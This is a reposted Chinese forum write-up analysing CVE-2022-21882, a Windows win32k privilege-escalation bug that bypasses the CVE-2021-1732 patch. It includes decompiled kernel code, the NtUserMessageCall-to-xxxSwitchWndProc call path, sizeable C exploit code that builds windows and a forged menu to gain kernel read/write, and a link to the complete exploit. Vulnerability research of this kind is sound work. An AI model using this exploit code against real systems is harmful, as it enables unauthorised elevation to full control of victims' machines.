CVE-2022-21882提权漏洞学习笔记
2022-9-25 18:1:26 Author: 看雪学苑(查看原文) 阅读量:20 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:1900


前言

1.漏洞描述

该漏洞的成因及利用基本上和CVE-2021-1732一样,可以认为该漏洞是在对CVE-2021-1732漏洞进行补丁之后,绕过该补丁达成漏洞利用。在对CVE-2021-1732补丁后,在xxxCreateWindowEx函数调用过程中,会在调用xxxClientAllocWindowClassExtraBytes申请扩展内存后,会对窗口对象的偏移0x128处的pExtraBytes进行验证,以此来验证是否在执行用户层函数时被修改。然而,该补丁仅针对xxxCreateWindowEx函数,在后面的Windows版本中,出现了新的函数会调用xxxClientAllocWindowClassExtraBytes函数,而这些函数没有对pExtraBytes进行验证,导致可以通过这些新函数来实现对窗口对象偏移0xE8的Flags以及0x128的pExtraBytes进行修改。

2.实验环境

  • 操作系统:Win10 x64 21H2 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg

漏洞分析

1.CVE-2021-1732补丁分析

在对CVE-2021-1732进行补丁之后,xxxCreateWindowEx函数会在申请扩展内存之后,会调用tagWND::RedirectedFieldpExtraBytes::operator函数来对窗口对象进行验证,如果该函数返回1,则函数接下来就会释放窗口对象,然后直接退出函数,而不执行下面的对pExtraBytes成员的赋值:

__int64 __fastcall xxxCreateWindowEx(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, unsigned int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, unsigned int a14, int a15, int a16, __int64 a17){  cbwndExtra = *(unsigned int *)(*((_QWORD *)tagWND + 5) + 0xC8i64);  if ( !(_DWORD)cbwndExtra )    goto LABEL_211;  pBuffer = xxxClientAllocWindowClassExtraBytes(cbwndExtra);        // 申请扩展内存  v355 = pBuffer;  if ( !pBuffer )  {    v273 = 2;    if ( *((_DWORD *)tagWND + 2) != 1 )      goto LABEL_538;    goto LABEL_197;  }
// 对窗口对象进行验证 if ( (unsigned int)IsWindowBeingDestroyed((__int64)tagWND) || (*(_BYTE *)(_HMPheFromObject(v95) + 0x19) & 1) != 0 || (zero = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=<unsigned __int64>((__int64)tagWND + 0x140, &zero)) ) { xxxFreeWindow(tagWND); // 释放窗口 if ( v113 ) goto LABEL_553; goto LABEL_37; // 退出函数 }
*(_QWORD *)(tagWNDK + 0x128) = pBuffer; // 为pExtraBytes成员赋值}

xxxCreateWindowEx调用tagWND::RedirectedFieldpExtraBytes::operator验证函数的时候,传入的是tagWND + 0x140和值为0的zero这两个参数,而验证函数代码则如下,所以该函数就是在验证*(*(tagWND + 0x140 - 0x118) + 0x128) = *(*(tagWND + 0x28) + 0x128)是否不等于NULL,就是在验证pExtraBytes是否已经被写入,因为在xxxCreateWindowEx函数会在验证通过之后才为pExtraBytes成员赋值,如果验证时候该值已经不为NULL,就说明在用户层函数被劫持了:

然而,该补丁是打在xxxCreateWindowEx函数中,函数xxxClientAllocWindowClassExtraBytes并没有任何变化,该补丁可以在原来的系统中起到保护作用。可是在之后的系统中,增加了不同的函数可以调用xxxClientAllocWindowClassExtraBytes,其中就包括了xxxSwitchWndProc。因此可以通过该函数来实现对窗口对象的Flags和pExtraBytes成员进行修改,最终达成利用:

2.xxxSwitchWndProc函数分析

在xxxSwitchWndProc函数中,会判断窗口对象是否存在扩展内存,如果存在扩展内存,则会调用xxxClientAllocWindowClassExtraBytes函数来申请内存。随后,函数会重新为pExtraBytes成员进行赋值,并调用xxxClientFreeWindowClassExtraBytes函数将原来pExtraBytes指向的内存释放掉。因此,可以通过xxxSwitchWndProc函数来实现xxxClientAllocWindowClassExtraBytes函数的调用,并通过劫持相应的用户层函数,可以实现对pExtraBytes的修改:

漏洞利用

1.xxxSwitchWndProc函数的调用

通过交叉引用可以看到,xxxSwitchWndProc函数由xxxWrapSwitchWndProc函数调用的。

xxxSwitchWndProc函数则由NtUserMessageCall函数开始一步步调用到,该函数的定义如下:

typedef NTSTATUS (__fastcall *lpfnNtUserMessageCall)(HWND hWnd,                                                      UINT msg,                                                      WPARAM wParam,                                                      LPARAM lParam,                                                      ULONG_PTR ResultInfo,                                                      DWORD dwType,                                                      BOOL bAnsi);

当msg小于0x400的时候,将会根据msg,从MessageTable数组中取出相应的下标,在使用该下标从gapfnMessageCall数组中找到要执行的函数:

当msg为WM_CREATE(0x1)的时候,从MessageTable中取出的下标将为4:

gapfnMessageCall数组中,下标为4对应的函数为NtUserfnOUTSTRING:

NtUserfnOUTSTRING函数会将(dwType + 6) & 0x1F得到的下标从mpFnidPfn数组中取出要执行的函数:

mpFnidPfn数组在InitFunctionTables函数中被初始化,其中下标为6的元素就被初始化为xxxWrapSwitchWndProc函数。因此,当参数dwType为0的时候,NtUserfnOutSTRING函数就会调用xxxWrapSwitchWndProc函数:

2.利用过程

此时,对tagWND->pExtraBytes以及tagWND->Flags成员的修改,是通过调用NtUserMessageCall,利用该函数会调用xxxClientAllocClassExtraBytes来实现修改的。所以,此时不需要通过申请大量窗口,并释放掉其他部分窗口的方式来找到触发漏洞的窗口。所以,此时只需要创建两个用来实现任意地址读写以及触发漏洞的窗口:

BOOL Init_CVE_2022_21882(){    BOOL bRet = TRUE;    DWORD i = 0;
lHMValidateHandle HMValidateHandle = NULL;
HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle(); if (!HMValidateHandle) { bRet = FALSE; goto exit; }
HMODULE hNtDll = NULL, hWin32Dll = NULL;
hNtDll = LoadLibrary("ntdll.dll"); hWin32Dll = LoadLibrary("win32u.dll");
if (!hNtDll || !hWin32Dll) { bRet = FALSE; ShowError("LoadLibrary", GetLastError()); goto exit; }
fnNtCallbackReturn = (lpfnNtCallbackReturn)GetProcAddress(hNtDll, "NtCallbackReturn"); fnNtUserConsoleControl = (lpfnNtUserConsoleControl)GetProcAddress(hWin32Dll, "NtUserConsoleControl"); fnNtUserMessageCall = (lpfnNtUserMessageCall)GetProcAddress(hWin32Dll, "NtUserMessageCall");
if (!fnNtCallbackReturn || !fnNtUserConsoleControl || !fnNtUserMessageCall) { bRet = FALSE; ShowError("GetProcAddress", GetLastError()); goto exit; }
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; }
WNDCLASSEX wndClass = { 0 }; PCHAR pClassName = "leak";
wndClass.cbWndExtra = 0x20; wndClass.cbSize = sizeof(wndClass); wndClass.style = CS_VREDRAW | CS_HREDRAW; wndClass.hInstance = handle; wndClass.lpfnWndProc = DefWindowProc; wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; }
HMENU hMenu = NULL, hHelpMenu = NULL; HWND hWnd = NULL;
for (i = 0; i < 2; i++) { if (i == 1) { // 从第1个tagWND开始将带有tagMENU对象 hMenu = CreateMenu(); hHelpMenu = CreateMenu(); if (!hMenu || !hHelpMenu) { bRet = FALSE; ShowError("CreateMenu", GetLastError()); goto exit; }
if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) && !AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"))) { bRet = FALSE; ShowError("AppendMenu", GetLastError()); goto exit; } }
hWnd = CreateWindowEx(WS_EX_NOACTIVATE, pClassName, NULL, WS_DISABLED, 0, 0, 0, 0, NULL, hMenu, handle, NULL); if (!hWnd) continue;
g_hWnd[i] = hWnd; g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);
if (i == 0) { g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8); BYTE bInfo[0x10] = { 0 }; *(HWND *)bInfo = g_hWnd[0]; fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset); } }
g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
if (g_qwWndOffset > g_qwKernelHeapOffset1) { bRet = FALSE; printf("g_pWnd[0] offset is invalid!\n"); goto exit; }
g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
PCHAR pTriggerName = "Trigger"; WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(wc); wc.lpfnWndProc = DefWindowProc; wc.style = CS_VREDRAW | CS_HREDRAW; wc.cbWndExtra = g_dwWndExtra; // 指定特定的大小 wc.hInstance = handle; wc.lpszClassName = pTriggerName;
if (!RegisterClassEx(&wc)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; }
g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE, pTriggerName, NULL, WS_DISABLED, 0, 0, 0, 0, NULL, NULL, handle, NULL);
if (!g_hTriggerWnd) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; }
// 伪造tagMENU HANDLE hProcHeap = NULL;
hProcHeap = GetProcessHeap(); if (!hProcHeap) { bRet = FALSE; ShowError("GetProcessHeap", GetLastError()); goto exit; }
DWORD dwHeapFlags = HEAP_ZERO_MEMORY; g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0); if (!g_qwMenu) { bRet = FALSE; ShowError("GetProcessHeap", GetLastError()); goto exit; }
*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20); *(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200); *(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1; *(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8); *(PDWORD)(g_qwMenu + 0x40) = 1; *(PDWORD)(g_qwMenu + 0x44) = 2;
exit: return bRet;}

接下来就可以通过NtUserMessageCall函数来调用xxxClientAllocWindowClassExtraBytes,在相应的用户层函数中,将会修改tagWND的Flags和pExtraBytes成员,之后就可以通过SetWindowLongPtr将tagWND0的cbwndExtra修改为0xFFFFFFFF:

fnNtUserMessageCall(g_hTriggerWnd, WM_CREATE, 0, 0, NULL, 0, FALSE);
// 将g_hWnd[0]的cbwndExtra设为0xFFFFFFFFif (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset + 0x10, 0xFFFFFFFF) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}

在调用SetWindowLongPtr函数前后下断点,就可以看到,tagWND0的cbwndExtra被成功修改为0xFFFFFFFF,接下去的任意地址读写的实现就和CVE-2021-1732是一样的:


运行结果

完整代码保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2022-21882.cpp。编译运行就可以成功提权:

看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区

# 往期推荐

1.因优化而导致的溢出与CVE-2020-16040

2.LLVM PASS PWN 总结

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458471430&idx=1&sn=6a47d0c5c8f3f6204548e80977ecd059&chksm=b18e7c8c86f9f59a88d9b8e83c8297e0ef65034a73436998ab835531baadaa51f3d630793b95#rd
如有侵权请联系:admin#unsafe.sh